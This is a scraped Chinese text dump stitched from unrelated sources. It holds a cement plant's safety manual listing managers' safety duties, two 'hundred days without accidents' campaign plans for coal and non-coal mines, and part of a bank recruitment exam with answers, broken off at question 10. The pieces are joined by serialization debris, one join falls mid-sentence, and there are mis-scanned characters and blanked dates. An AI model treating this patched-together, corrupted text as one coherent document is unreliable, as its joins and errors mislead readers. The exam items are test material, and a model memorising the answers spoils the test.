………………………………………….127@#@21.破碎机作业……………………………………………………………..129@#@22.清理储库作业……………………………………………………………130@#@23.人工砌窑作业…………………………………………………………..131@#@24.窑巡检作业………………………………………………………………133@#@25.预热器作业………………………………………………………………135@#@26.原料磨.煤磨作业………………………………………………………138@#@27.袋收尘器作业……………………………………………………………140@#@28.进料口安全作业………………………………………………………141@#@29.动火作业…………………………………………………………………141@#@30.高处作业…………………………………………………………………146@#@31.交叉作业…………………………………………………………………149@#@32.高温作业…………………………………………………………………151@#@33.受限空间作业…………………………………………………………153@#@34.吊装作业………………………………………………………………159@#@35.安全生产责任制管理制度…………………………………………165@#@36.危险源辨识和风险评价及控制…………………………………166@#@37.风险隐患识别、评价、控制管理制度…………………………172@#@38.危险源安全管理制度………………………………………………176@#@39.安全警示标志管理制度………………………………………………177@#@40.工伤保险管理制度……………………………………………………180@#@41.事故应急救援管理制度……………………………………………183@#@42.安全生产事故管理制度………………………………………………184@#@ @#@@#@第一部分 @#@安全生产责任制@#@一、总经理安全生产责任制@#@总经理是全公司行政负责人，对本公司全体职工和所有设备安@#@全负全面领导责任，并直接领导安全工作。

@#@具体责任如下：

@#@@#@1．负责贯彻落实党和国家安全生产，劳动保护的政策、法令及上级指示和有关规定，积极支持安委会、各副经理开展的安全生产工作。

@#@@#@2．负责贯彻落实“安全第一.预防为主.综合治理”的方针，亲自抓安全，要把安全工作列入重要议事日程，在计划、布置、检查、总结、评比生产的同时计划、布置、检查、总结、评比安全工作。

@#@每季组织和听取一次安全情况的分析汇报，听取各单位、车间及科室的有关安全生产、劳动保护、工业卫生的汇报，针对问题，采取措施。

@#@@#@3．对新建、扩建、改建工程的设计、安装、投产，应招集电、 @#@@#@安全、技改、工会及其它有关部门、有关车间参加共同审查和验收，使之符合《工厂安全卫生规程》的要求。

@#@凡设计不符合要求的，不予验收，不批准投产。

@#@@#@4．负责对全体职工进行安全思想和劳动纪律教育，开展职工培训，严格执行规章制度，贯彻安全措施和安全规程，实行合理的奖惩办法，保证安全生产。

@#@@#@5．按照“三不放过”的原则，严肃对待事故，发生重大事故，要亲自组织和参加调查处理。

@#@对于不严格执行安全生产方针，发生重大事故的单位，以及事故频繁发生、重复发生的单位，追究有关领导的责任；@#@情节严重者，应给予必要的处分。

@#@@#@二、生产副经理安全生产责任制@#@1．认真贯彻“安全第一，预防为主，综合治理”的方针，执行“管生产必须管安全”的原则，对本公司职工和所有设备的安全负直接领导责任。

@#@亲自抓安全，在计划、布置、检查、评比生产工作的同时，计划、布置、检查、评比安全工作。

@#@每月必须主持召开一次安全例会，听取各科室、车间的安全生产汇报，并定期向总经理及职工大会汇报安全情况。

@#@@#@2．贯彻落实党和国家有关安全生产、劳动保护方面的方针、政策、法令及上级有关指示，经常分析安全生产中存在的问题，总结经验教训，结合公司情况，针对存在问题，做出具体安排，制定切实有效的措施，认真落实。

@#@@#@3．为了搞好安全生产，有计划地改善劳动条件，在组织编制年度季度生产计划时，应同时编制、审查本公司年度、季度安全措施和更新改造安全技术措施计划，并批准此计划所需的材料、资金、人力等。

@#@按期检查措施的落实及其效果。

@#@@#@4．经常对干部、职工进行安全生产和劳动纪律教育，严格执行各项规章制度。

@#@抓好职工技术培训，对特殊工种要组织专门培训与考试。

@#@总结和推广安全生产的好典型，对安全生产有突出贡献的集体或个人，给予表扬或奖励。

@#@@#@5．有关挖潜、革新、改造、大修等工程项目，应负责组织有关部门进行审查，必须符合《安全卫生规程》的要求。

@#@@#@6．负责完成上级下达的安全考核指标，并把安全考核指标列入劳动竞赛的主要内容，保证安全活动日时间，布置活动内容。

@#@@#@7．组织全公司性安全大检查，解决影响安全生产的重大问题，消除重大缺陷和隐患，批准特殊危险作业的安全措施。

@#@对频繁性事故要组织攻关。

@#@@#@8．对本公司发生的不安全情况，职业病、职业中毒情况，每月进行一次综合分析，摸清规律，采取措施，并检查措施落实情况。

@#@@#@9．本着“四不放过”的原则，按事故调查规程的要求认真分析事故，及时按规定向上级提出书面报告，发生重大事故要亲临现场，立即组织有关部门进行调查，分析原因，采取措施。

@#@对事故责任制，提出处理意见。

@#@负责解决所属单位事故的责任争议问题，负责具体指导安全方面的工作。

@#@@#@三、主管安全副经理安全生产责任制@#@1．组织制定、修订和审定各项安全管理制度、安全技术规程等，并检查其执行情况；@#@@#@2．制定安全教育计划及培训考核计划；@#@@#@3．审批重大工艺处理、开停车、检修、施工的安全技术方案，审查引进技术和开发新产品中的安全技术问题。

@#@@#@4．审批特殊危险动火作业，参加重大事故的技术分析；@#@@#@5．对化学品安全技术说明书和安全标签管理的要求；@#@@#@6．组织安全检查及对重大事故隐患管理的要求；@#@@#@7．在企业厂长（经理）不在时，履行厂长（经理）的安全生产职责；@#@@#@8．协助厂长（经理）组织安全技术研究工作，解决安全技术问题：

@#@@#@9．应急救援预案中的组织、实施责任。

@#@@#@四、其他副经理安全生产责任制@#@1．认真贯彻“安全第一”的方针，坚持“搞管理抓生活的必须管安全”的原则，对所属部门发生的安全问题负直接领导责任。

@#@@#@2．贯彻执行国家安全生产，劳动保护的政策、法令及上级有关指示。

@#@结合公司情况做出具体安排，制定必要措施，认真落实。

@#@@#@3．教育全体后勤服务部门的职工，树立为生产第一线服务的思想。

@#@督促行政、后勤单位要面向生产。

@#@领导有关部门搞好环境清洁卫生，防止食物中毒，防治传染病、职业病、提高职工健康水平。

@#@@#@4．做好全公司厂房，宿舍的维修和宿舍新建工作，保证安全施I，质量第一。

@#@并定期检查职工宿舍，后勤所属单位的安全情况。

@#@@#@5．对新建、扩建、改建工程的设计、安装、投产应吸收生产部门参加，共同审查验收。

@#@凡设计不符合要求的，不批准施工；@#@竣工不符合要求的，不批准验收，不批准投产。

@#@@#@6．组织领导全公司开展爱国卫生运动，搞好厂容厂貌，绿化厂区，改善环境；@#@讲究卫生，做到文明生产。

@#@检查监督各车间达到“四无一见”（无漏油、无漏水、无积灰、无杂物、设备见本色）的要求。

@#@@#@7．负责全公司的火灾预防工作，要加强领导，督促检查，保证安全生产和设备不受损害。

@#@@#@五、总工程师安全生产责任制@#@1.编制和修订工艺技术规程，工艺技术规程必须符合安全生产的要求，并对工艺技术规程执行情况进行检查、监督、考核；@#@@#@2．负责生产工艺事故的调查处理和统计上报工作；@#@@#@3．对生产操作工人的技术培训考核；@#@@#@4．负责组织工艺技术安全检查，并及时改进安全技术上存在的问题；@#@@#@5．采用先进的安全生产技术和安全装备。

@#@@#@六、工会主席（工会）安全生产责任制@#@1．负责贯彻国家、省、市及全国总工会有关安全生产、劳动保护的方针、政策，并监督执行，组织职工参与本单位在安全生产中的民主监督管理；@#@@#@2：

@#@协助安全管理部门搞好安全生产竞赛活动和合理化建议活动@#@3．组织职工开展遵章守纪和预防事故的群众性活动，支持主管领导和部门做好安全工作的奖惩，并协助做好职工伤亡事故的善后处理工作；@#@@#@4．改善职工劳动条件，保护职工在劳动中的安全与健康；@#@@#@5．落实公共文化娱乐场所的安全防火管理工作。

@#@@#@七、生产科正副科长.调度员安全生产责任制@#@在生产副经理领导下，具体负责安全生产。

@#@@#@1．贯彻执行国家安全生产，劳动保护政策、法令及上级有关指示，贯彻安全第一的方针，具体落实各项安全规程和规章制度。

@#@经常深入车间检查落实情况，组织全厂完成责任制考核方案及安全措施。

@#@@#@2．负责对全公司安全生产的统一指挥，掌握生产设备规律，采用安全可靠的生产工艺。

@#@对生产中存在的不安全因素，及时通知有关部门解决处理并上报。

@#@紧急情况下可先行处理，然后上报，并组织车间分析，找出原因，制定对策，吸收教训。

@#@@#@3．负责生产调度工作，提出检查申请和检修任务，组织检修工作，做好临时修理项目，及时检查机器设备，职工操作，防护设施，安全用具，劳保用品是否良好，准确、齐全。

@#@@#@4．力口强生产人员的安全思想教育和劳动纪律教育，表扬安全生产中的好人好事，对违章操作者进行批评与制止，屡教不改或冒险蛮干者，应停止其工作，并立即汇报上级进行处理。

@#@@#@5．织全公司人员进行劳动保护政策、法令、安全规程、安全管理制度的学习和年度考核，颁发考试合格证。

@#@@#@6.负责组织落实新职工入厂的三级安全教育及考试。

@#@@#@7．对特殊工种，组织专门培训和考试。

@#@@#@8．具体负责对已发生的事故进行组织调查、统计，上报。

@#@@#@9．具体落实“职工工伤管理办法”o@#@@#@八、设备动力科科长（维修、正副主任）安全生产责任制@#@1．管理技术的同时，必须负责管理安全工作。

@#@认真贯彻国家安全生产，劳动保护的政策、法令及有关指示。

@#@@#@2．具体负责全厂设备，电器的安全工作，指导设备、电器的安全操作与安全管理，解决设备、电器存在的不安全问题。

@#@@#@3．拟定审查年、季、月安全技术措施，并保证按期实现。

@#@@#@4．具体组织实施安全设施、项目的加工，安装，调派实施当中的技术与人力等。

@#@@#@5．提供各种电器、机械设备的安全技术数据、性能、操作方面的资料。

@#@@#@6．对于厂内发生的事故，要从技术上、工艺质量上、规程制度、技术管理上进行分析，参加事故调查，找出原因，提出对策。

@#@@#@7．参加全厂安全大检查，具体检查设备、电器方面存在的问题，对检查中发现的问题，向有关部门、总经理汇报。

@#@提出解决办法，经批准后，具体负责实施。

@#@@#@8．保证机器设备的防护、安全设施等符合安全要求。

@#@@#@9．负责全公司上下水道和消火栓的维修，使之保持良好的状态。

@#@@#@九、车间正副主任安全生产责任制@#@对本单位全体职工和所管辖设备负全面责任，亲自抓安全，具体如下：

@#@@#@1．组织本单位职工认真贯彻执行上级有关安全生产的方针、政策，落实本公司的各项安全制度、安全规程，在计划、布置、检查、总结评比生产工作的同时，计划、布置、检查总结评比安全工作。

@#@@#@2．根据国家有关安全、劳动保护和方针、法令和上级的有关批示，积极为创造良好的、符合安全卫生的劳动防护装置，设备应严格管理、经常维护保养，防止丢失损坏，之保持完整良好状态，发挥其作用。

@#@@#@3．经常检查所属范围设备、人员、安全工器具的安全情况，使之符合宽安全要求，发现问题及时组织消除，重大问题采取紧急措施，并向有关部门汇报。

@#@@#@4．检查督促本单位职工按要求佩戴劳动防护用品，必要时采取奖罚制度．@#@5．领导与支持车间班组长、安全小组工作，提高他们的业务水平，协助他们解决工作中的困难，调动他们的工作积极性。

@#@@#@6．严格工艺把关，使之符合生产工艺的要求，保障生产安全，特别是中央控制室与化验室要密切注视窑上的工况、物料的变化，认真分析情况，严防窑的不正常情况发生。

@#@@#@7．认真制定与落实本车间的安全生产措施，按时完成安委会“安监意见通知书”下达要求解决的项目。

@#@@#@8．组织本车间的各项安全活动，落实安全活动日制度，开展本单位的安全检查。

@#@@#@9．按照生产责任制考核方案，严格考核每个职工，做好安全责任制的评比计分。

@#@@#@10．经常对职工进行安全生产和劳动纪律教育，教育职工严格遵守规章制度，及时纠正不严肃执行规程的行为。

@#@对于在安全生产工作中举报造成责任事故者，提出奖励和处理意见。

@#@@#@11．开展职工培训活动，对新职工或调换工种人员进行车间教育和现场教育，经熟悉一段之间后在安排单独操作。

@#@@#@12．对本单位发生的故障、事故要认真分析，掌握情况，采取防范措施，本着“三不放过”的原则，组织调查处理，写出事故报告，填写《事故报告表》报安委会。

@#@@#@十、安全科长安全生产责任制@#@1．在厂长（经理）和安全主管负责人的领导下开展安全生产管理的监督工作；@#@@#@2．组织从业人员的安全教育、培训、考核工作（包括培训计划、培训效果考核等）：

@#@@#@3．组织制定、修订本企业安全管理制度和安全技术规程，编制安全技术措施计划，并监督检查执行情况；@#@@#@4．编制安全生产责任制；@#@@#@5．组织安全大检查，对查出的安全隐患制定防范措施和整改计划，并检查监督隐患整改工作的完成情况；@#@@#@6．对锅炉、压力容器等特种设备进行安全监督检查；@#@@#@7．进行安全监督，建立开、停车的动火审批制度和日常动火管理制度；@#@检查各部门安全管理制度执行情况；@#@纠正违章并督促协调解决有关安全生产的重大问题；@#@@#@8．制定应急救援预案并组织演练；@#@及时补充、修订、完善预案；@#@@#@9．做好各类重大事故的现场保卫工作；@#@@#@10．编制企业专用消防器材的配置和采购计划、负责消防器材的维护保养和修理；@#@@#@11．建立健全企业防火档案。

@#@@#@十一、专业技术人员安全生产责任制@#@1．在管理生产技术的同时，必须负责管理安全工作，贯彻执行国家安全生产，劳动保护政策，法令及有关指示。

@#@@#@2．保证机器设备，安全防护措施，生产工艺等符合安全要求，发现问题及时组织消除。

@#@@#@3．开展对全公司，特别是新职工，进行专业知识教育。

@#@@#@4．参加事故调查分析，按照“三不放过”的原则从技术角度指出事故原因和防止对策，防止类似事故的重复出现，同时负责填写本专业的事故报告。

@#@@#@5．参加全公司安全大检查，负责检查本专业的安全情况。

@#@@#@6．提出安全方面的技术改造和革新建议，在本专业的各项工作中，具体负责安全工作。

@#@@#@十二、保卫科正副科长安全生产责任制@#@在主管副经理领导下，保卫全厂安全，并负责全厂消防工作，具体职责如下：

@#@@#@1．保卫公司生产安全，维护内部治安。

@#@负责保卫全公司不受破坏，保卫生产要害部位，经常对要害部位、物质仓库、油库、炸药库等进行巡视检查，保证生产正常进行。

@#@@#@2．贯彻“以防为主，一消为辅”的消防方针，认真制定各项消防制度，并保证有效的贯彻执行。

@#@检查、督促有关部门的消防工作，‘确保安全生产和人民生命";i:

22;s:

16183:

"煤矿百日安全无事故活动总结字@#@煤矿百日安全无事故活动总结2000字@#@【篇一】@#@为认真贯彻执行党和国家的安全生产方针，认真落实巴经贸煤字〔20xx〕05号《关于转发自治区认真做好20xx年全区煤炭行业安全生产工作的通知》的部署及要求，结合我县煤炭工业实际，按照《轮台县二〇xx年煤矿安全生产工作实施方案》的总体安排，坚持“安全第一，预防为主，综合治理，总体推进”的指导思想，为进一步做好我县煤矿安全生产各项工作，现制定轮台县煤炭行业“百日安全无事故”活动实施方案如下：

@#@@#@一、成立轮台县煤矿安全生产“百日安全无事故”活动领导小组，成员名单如下：

@#@@#@组长：

@#@@#@副组长：

@#@@#@成员：

@#@@#@领导小组下设办公室，办公室主任由县煤炭工业管理局副局长袁永奇同志担任。

@#@@#@二、本实施方案从20xx年x月25日起实行，截止日期为20xx年x月30日。

@#@@#@三、本实施方案的奋斗目标：

@#@以抓好煤矿安全生产工作、杜绝事故发生为主线，力争实现无死亡事故的奋斗目标;@#@重点抓好矿井的“一通三防”、“顶板管理”、“防突防爆”、“矿井基础设施建设”、“改进采煤工艺”、“提高矿井科技含量”等方面的工作。

@#@@#@四、本实施方案分为四个阶段：

@#@@#@第一阶段为宣传发动阶段：

@#@20xx年x月25日至x月15日，各煤矿企业要认真组织学习《煤矿安全规程》、《煤矿*治理经验五十条》和《新疆小煤矿安全质量标准化标准》等文件精神，采用横幅、条幅、板报和标语等多种形式大力宣传本次煤矿安全生产工作的目标、重点，切实做好宣传发动工作。

@#@各煤矿企业结合本矿井实际制定实施方案。

@#@在此阶段由办公室负责深入矿区宣传并对各煤矿进行监督检查，@#@第二阶段为各煤矿企业自查阶段：

@#@20xx年x月16日至x月30日，在此阶段各煤矿负责按照本矿井的实施方案进行自查和整改。

@#@各煤矿要进行排查摸底，重点查清各矿井在五大系统、“一通三防”、*等级鉴定、*检查监测、风机性能测定、通风设施设备完好情况、*防治工作台帐、干部跟班带班作业和职工教育培训等方面存在的问题，督促整治。

@#@同时，各煤矿企业要认真进行自查、自纠，从矿井的通风、防治*、防火灾、防尘和*监测体系、检测仪器仪表和矿井的五大系统等方面查找存在的突出问题，展开整治，并建立完整的*防治工作台帐加强职工教育培训考核工作，全面开展一次教育培训，并进行考核，对考核不合格者坚决不准上岗作业。

@#@@#@第三阶段为检查验收阶段：

@#@20xx年x月7日至x月20日，由煤矿安全生产“百日安全无事故”活动领导小组负责对各煤矿进行验收;@#@验收标准：

@#@各类煤矿要根据《煤矿*治理经验五十条》（发改能源〔20xx〕457号）和《轮台县煤矿*集中整治工作方案》（轮政发〔20xx〕109号）和要求，进一步完善*治理各项安全设施监测监控系统，提高现场管理水平，完善“一通三防”（通风、防治*、火灾、粉尘）的各项安全生产设施和管理制度，严格落实“以风定产”，坚决杜绝超通风能力生产和超生产能力生产。

@#@@#@安全质量标准化工作是煤矿一切工作的基础。

@#@根据自治州的安排部署，在生产能力达到9万吨以上的各类矿井，要严格按照自治区煤炭工业管理局制定的《质量标准化达标规划》认真开展工作，改进安全管理，完善安全设施和条件，确保达到质量标准化标准。

@#@各煤矿企业要按照《自治区煤矿*治理若干规定》和《新疆小煤矿安全质量标准化标准》一一对照，进行自查自验，合格后向轮台县煤矿安全生产工作领导小组申请初验。

@#@@#@第四阶段为总结阶段：

@#@20xx年x月16日至x月30日，由煤矿安全生产“百日安全无事故”活动领导小组负责对本实施方案的情况进行总结。

@#@@#@五、本实施方案采取的主要措施：

@#@@#@1、进一步加强煤矿安全生产管理工作，加大监督检查力度，抓好煤矿安全生产工作。

@#@牢固树立“安全第一”思想，健全安全生产组织机构，严格落实岗位责任制;@#@加强职工安全教育培训工作，努力提高职工的安全意识和操作技能，加大高科技装备的投入，提高矿井科技含量;@#@加强管理，做到严格按章办事，落实各项规章制度和煤矿《三大规程》，坚决杜绝“三违”现象，力争杜绝死亡事故的发生。

@#@@#@2、各煤矿要健全完善安全生产组织机构，健全三级安全监督网，设立专职安全管理机构和群众监督体系。

@#@@#@3、加强岗位责任制的落实：

@#@加强现场管理的关键在于各岗位工作职责的落实;@#@目前各煤矿的岗位责任制体系已形成，但存在着一些问题，主要表现在落实不到位、制度流于形式的现象;@#@为此，必须进一步明确岗位工作责任，并强化责任制的落实。

@#@@#@4、依据《煤矿安全规程》要求，做好本矿井的年度灾害预防和处理计划、矿井救灾演习、风机性能测定等方面的工作。

@#@@#@5、针对部分规章制度不完善尤其是矿井采掘作业规程内容编制不全的问题，要求各矿井必须高度重视，完善和补充各种规章制度并加强审核，确保内容完整齐全。

@#@@#@6、职能部门依法管理、强化监察、严格执法、加大处罚力度、坚决做到该停的必须停、该关的必须关。

@#@@#@7、在检查验收阶段，各煤矿企业应积极申请验收。

@#@验收程序：

@#@煤矿企业自查整改完毕并自验合格后，向煤炭工业管理局提出书面申请进行验收，验收合格，书面通知到达后，方可恢复生产。

@#@@#@8、在开展“百日安全无事故”活动全过程中，各投产矿井都必须认真开展安全质量标准化工作，提高管理水平、装备水平，达到州级质量标准化标准。

@#@凡未通过安全质量标准化工作验收的矿井，一律不得进行生产。

@#@凡查出矿井存在不安全隐患或者在检查验收阶段矿井达不到验收标准，不具备安全生产基本条件的矿井，一律停止生产，对矿井存在的隐患及问题进行整改;@#@整改完毕经本煤矿自验合格后，申请我局进行验收，验收合格后，方可恢复生产。

@#@@#@9、对于擅自恢复生产的矿井，严格按照《中华人民共和国煤炭法》、《中华人民共和国安全生产法》和国务院第446号令《国务院关于预防煤矿生产安全事故的特别规定》的有关规定从严处理。

@#@@#@【篇二】@#@为认真落实区安委会《关于开展“百日安全无事故”活动的通知》（烟牟安〔20xx〕11号）文件精神，保证我区重点时期非煤矿山安全生产形势的稳定，现结合我区实际，制定本活动方案。

@#@@#@一、工作指导思想和工作重点@#@以贯彻落实《安全生产法》和《安全生产许可证条例》为主线，坚持“安全第一、预防为主”方针，进一步强化措施，落实责任，消除隐患，夯实基础，努力营造“遵章守法，关爱生命”的社会氛围，确保我区非煤矿山杜绝特大事故，遏制重大事故，减少一般事故，各项指标控制在区安委会下达指标之内。

@#@@#@这次活动以夏季“四防”（防洪、防雷电、防倒塌、防暑降温）及整改安全生产隐患（薄弱环节）为重点。

@#@@#@二、时间安排和工作目标@#@

（一）时间安排@#@从20xx年x月28日到20xx年x月8日，具体分为三个阶段。

@#@@#@1、排查阶段（x月28日—x月10日）。

@#@各镇（街道）督促辖区内非煤矿山企业认真排查存在的重大事故隐患，并登记造册，建立数据库和资料库，确定列入“百日安全无事故”活动治理的重大事故隐患，制定整改计划，落实整改责任。

@#@@#@2、整治阶段（x月10日—x月1日）。

@#@各镇（街道）对列入整改计划的重大事故隐患进行认真分析、研究，制定详细的治理方案，并组织专门力量，认真整改和治理。

@#@@#@3、督查阶段（x月1日—x月8日）。

@#@区非煤矿山“百日安全无事故”活动领导小组办公室将组织督查组对各镇（街道）活动开展情况进行督查，并迎接上级的督查。

@#@@#@

（二）工作目标@#@非煤矿山企业不发生死亡事故。

@#@@#@三、工作要求@#@

（一）提高认识，加强组织领导。

@#@开展“百日安全无事故”活动是贯彻落实区委、区政府关于加强当前安全生产工作的一项重大举措，各级各部门、各非煤矿山企业一定要从讲政治、讲大局的高度，充分认识开展这项活动的重要意义，切实加强组织领导，确保各项措施落到实处。

@#@@#@

（二）广泛宣传，积极参与。

@#@各级各部门要采取多种形式加大对开展“百日安全无事故”活动的宣传力度，努力在全社会营造良好的*氛围。

@#@各非煤矿山企业要充分利用黑板报、墙报、知识竞赛、演讲比赛等形式，把活动贯穿到日常工作中去。

@#@动员广大职工积极参与活动，严格遵守有关操作规程和规章制度，坚决克服“三违”现象，努力提高安全素质和自我防护意识。

@#@要强化*监督，对活动组织开展不力的，坚决予以曝光。

@#@@#@（三）突出重点，明确责任。

@#@@#@各级各有关部门要结合区安委会下发的关于做好夏季汛期安全生产工作的通知，围绕夏季“四防”及整改安全生产隐患（薄弱环节），确定各自工作重点和监控重点，建立档案，明确责任。

@#@要突出抓好以下几项工作。

@#@@#@1、严厉查处非法开采和超层越界开采行为。

@#@建立规范开采的约束机制和非法开采、不具备基本安全生产生产条件矿山的市场退出机制。

@#@坚决取缔、关闭非法和不具备安全生产条件的矿山，严防死灰复燃。

@#@对不具备基本安全生产条件，经限期整改、停产整顿后仍达不到要求的，坚决予以关闭。

@#@@#@2、加大对*品监督管理力度。

@#@一是规范基建矿山*品的供应程序，明确新建非煤矿山基本建设阶段*品供应问题。

@#@二是加强对*品的专项检查，对*品领退、发放、使用等各个环节严格管理，杜绝爆炸事故的发生。

@#@@#@3、加强安全管理，提高安全生产水平。

@#@通过实施安全生产许可制度，建立安全生产责任制和规章制度、作业规程和各工种操作规程，建立企业安全生产投入制度，对人员提升设备、尾矿库等易发生事故的场所、设施、设备有登记档案和检测、评估报告及监控措施。

@#@建立和完善矿山企业应急救援组织机构，完善应急救援预案。

@#@@#@4、加强矿山企业安全机构建设和人员培训工作。

@#@矿山企业必须依法设置安全管理机构，配备专职安全生产管理人员。

@#@企业负责人、安全生产管理人员、特种作业人员做到持证上岗。

@#@@#@5、加强汛期非煤矿山安全生产工作。

@#@对汛期重点监控非煤矿山企业，落实防水害的各项技术措施和监控责任;@#@对水文地质条件复杂、受地表水和老空水威胁、地质资料不清、受雨季降水影响大的地下开采矿山，必须采取专门的防治措施;@#@对尾矿库的防洪排洪设施、干滩长度、安全超高、坝体稳定性等方面进行全面检查，及时消除隐患。

@#@@#@6、以实施安全生产许可制度为契机，切实加强对露天采石、石灰石、滑石开采等矿山的监管，消除重大事故隐患。

@#@一是要求各矿山企业必须补充完善开采设计，健全对边坡、台阶、采空区、爆破作业监控为主要内容的安全管理制度，完善有关图纸资料;@#@二是县级安监部门及时准确地掌握露天采石等小型矿山的基本情况，建立和完善矿点、矿坑、采空区分布图;@#@三是对危险性较大的露天矿坑、采空区，引导企业有针对地采取监控和强制回填、放顶等可靠措施，避免重特大事故的发生。

@#@@#@7、加快安全生产许可证发放工作进度。

@#@目前，非煤矿山安全生产许可证发放工作已进入攻坚阶段，大量的矿山企业及其独立生产系统的开采方案设计、安全评价工作、资料准备工作已基本就绪，即将转入申报、受理和审查阶段，能否保质、保量地作好发证工作，将直接关系到我区非煤矿山安全生产许可证的整体进度，因此，各级各部门要进一步加大工作力度，认真履行职责，确保发证工作规范、有序的开展。

@#@对于已取证的单位，要进行动态监管，使其保持安全生产条件，加强安全生产管理，提高安全生产水平。

@#@@#@8、加强对地质勘探单位、承包采掘施工单位和各类探矿工程的监督管理。

@#@一是要认真落实《山东省承包非煤矿矿山工程施工安全监督管理暂行办法》有关要求，加大监管力度，切实做好地质勘探单位、承包采掘施工单位的安全监管。

@#@二是严格按照市局（烟安监〔20xx〕39号）文件要求，督促各地质勘探单位、承包采掘施工单位尽快到安监部门办理登记;@#@未按要求进行登记的和未在7月13日前依法申办《安全生产许可证》的，坚决不允许承揽各项矿山采掘工程。

@#@三是矿山工程发包企业要加强对地质勘探单位、承包采掘施工单位的安全监督检查，纳入矿山安全管理范围，实行统一协调、统一部署、统一检查、统一考核;@#@地质勘探单位、承包采掘施工单位发生事故必须立即报告工程发包企业，由工程发包企业按规定及时上报安监部门。

@#@@#@（四）统筹兼顾，搞好结合。

@#@各级各部门、各非煤矿山企业，在搞好“百日安全无事故”活动的同时，要统筹兼顾，把开展活动与日常工作有机结合起来。

@#@要继续抓好“大检查、严治理、严监控”活动中排查出的重大事故隐患的整改和重点监控单位的监控。

@#@对“一大两严”活动中还没有整改完毕的问题和隐患，各级各部门、各矿山企业要抓紧时间进行整改，同时要抓好整改期间的监控，确保安全。

@#@要以“百户安全管理示范单位”为龙头，倡导在大企业中开展职业安全健康体系认证活动，在中小企业中开展安全质量标准化管理活动，在乡镇开展安全生产达标活动，切实提高全社会安全管理水平，夯实安全生产工作基础，提高全区人民安全素质。

@#@@#@（五）搞好情况调度，及时反馈活动进展。

@#@各级各部门要明确专人负责情况调度，注重收集整理活动的情况，及时沟通活动信息，上报活动的日常动态、重大活动及典型经验。

@#@区非煤矿山“百日安全无事故”活动领导小组办公室将随时组织督查组对各镇（街道）活动开展情况进行督查。

@#@@#@四、组织领导@#@为加强“百日安全无事故”活动的组织领导，按照区安委会文件要求，成立非煤矿山“百日安全无事故”活动领导小组（见附件）。

@#@领导小组下设办公室，设在区安监局安监矿山科，具体负责指导、调度、协调和督查全区非煤矿山“百日安全无事故”活动开展情况。

@#@各镇（街道）也要成立相应的组织，制定活动方案，认真抓好落实，确保活动取得实效。

@#@@#@各镇（街道）、区直有关部门x月3日前报送上月活动开展情况，x月18日前报活动总结。

@#@@#@";i:

23;s:

25533:

"湖南省怀化市洪江市工商银行招聘《专业基础知识》试题及答案@#@　　说明：

@#@本题库收集历年及近期考试真题，全方位的整理归纳备考之用。

@#@@#@　　注意事项：

@#@@#@　　1、答题前，考试务必将自己的姓名，准考证号用黑色签字笔或钢笔填写在答题纸规定的位置。

@#@@#@　　2、监考人员宣布考试结束时，你应立即停止作答。

@#@将题本、答题卡和草稿纸都翻过来留在桌上，待监考人员确认数量无误、允许离开后方可离开。

@#@@#@　　3、特别提醒您注意，所有题目一律在答题卡指定位置答题。

@#@未按要求作答的，不得分。

@#@@#@　　一、选择题（在下列每题四个选项中选择符合题意的，将其选出并把它的标号写在题后的括号内。

@#@@#@　　错选、多选或未选均不得分。

@#@）@#@　　1、净利息收益率是净利息收入与（）之比。

@#@@#@　　A、生息资产平均余额@#@　　B、总资产平均余额@#@　　C、流动资产平均余额@#@　　D、净资产平均余额@#@　　【答案】A@#@　　【解析】由于资产收入扣除负债、成本后的净利息收入是银行净现金流量的主要构成项目，因而，目前银行业通常以净利息收入与生息资产平均余额之比，即净利息收益率（NIM，又称净息差）作为衡量短期资产负债效率的核心指标。

@#@@#@　　2、凯恩斯主义认为，货币政策的传导变量是（）。

@#@@#@　　A、基础货币@#@　　B、超额储备@#@　　C、利率@#@　　D、货币供应量@#@　　【答案】C@#@　　【解析】凯恩斯学派认为货币政策的传导变量是利率，货币供求通过影响利率进而影响投资和总需求。

@#@@#@　　3、以人民币为面值、外币为认购和交易币种、在上海和深圳证券交易所上市交易的普通股票是（）股票。

@#@@#@　　A、A股@#@　　B、B股@#@　　C、H股@#@　　D、F股@#@　　【答案】B@#@　　【解析】B股又称为人民币特种股票，是指以人民币标明面值、以外币认购和进行交易、专供外国和我国香港、澳门、台湾地区的投资者买卖的股票。

@#@@#@　　4、关于生产者产品质量义务的说法，错误的是（）。

@#@@#@　　A、产品不存在危及人身、财产安全的不合理危险@#@　　B、产品应当具备其应有的使用性能，但对产品存在使用性能的瑕疵作出说明的除外@#@　　C、限期使用的产品，应在显著位置清晰地标明生产日期和安全使用期或者失效日期@#@　　D、裸装的食品必须附加产品标识@#@　　【答案】D@#@　　【解析】裸装的食品和其他根据产品的特点难以附加标识的裸装产品，可以不附加产品标识。

@#@故选D。

@#@@#@　　5、如果一个社会的收入是绝对平衡的，那么，基尼系数将（）。

@#@@#@　　A、等于1B、等于0C、大于1D、小于0@#@　　【答案】B@#@　　【解析】基尼系数的经济含义是指在全部居民收入中，用于进行不平均分配的那部分收入占总收入的百分比。

@#@@#@　　基尼系数最大为“1”，最小等于“0”。

@#@1表示居民之间的收入分配绝对不平均，0表示居民之间的收入分配绝对平均，这两种情况只是在理论上的绝对化形式，基尼系数的实际数值只能介于0～1之间。

@#@@#@　　6、在货币层次中M0是指（）。

@#@@#@　　A、投放的现金@#@　　B、回笼的现金@#@　　C、流通的现金@#@　　D、贮藏的现金@#@　　【答案】C@#@　　【解析】M0是流通中的现金。

@#@@#@　　7、下列不属于商业银行内部控制保障措施的是（）。

@#@@#@　　A、授权控制@#@　　B、信息记录@#@　　C、业务连续性管理@#@　　D、内控文化@#@　　【答案】A@#@　　【解析】内部控制保障措施主要包括以下几个方面：

@#@信息记录、信息安全管理、信息沟通、业务连续性管理、人力资源政策、绩效考评、内控文化。

@#@A项属于商业银行的内部控制措施之一。

@#@@#@　　8、商业银行等银行金融机构利用面向社会公众开放的通讯通道或开放型公众网络以及银行为特定自助服务设施或客户建立的专用网络，为客户提供的银行服务属于（）业务。

@#@@#@　　A、手机银行@#@　　B、电子银行@#@　　C、电话银行@#@　　D、邮政银行@#@　　【答案】B@#@　　【解析】电子银行业务，是指商业银行等银行业金融机构利用面向社会公众开放的通讯通道或开放型公众网络，以及银行为特定自助服务设施或客户建立的专用网络。

@#@@#@　　9、大额存单的期限品种不包括（）。

@#@@#@　　A、7天@#@　　B、3个月@#@　　C、6个月@#@　　D、5年@#@　　【答案】A@#@　　【解析】大额存单采取标准期限的产品形式，包括1个月、3个月、6个月、9个月、1年、18个月、2年、3年和5年共9个品种。

@#@@#@　　10、我国划分货币层次的标准是（）。

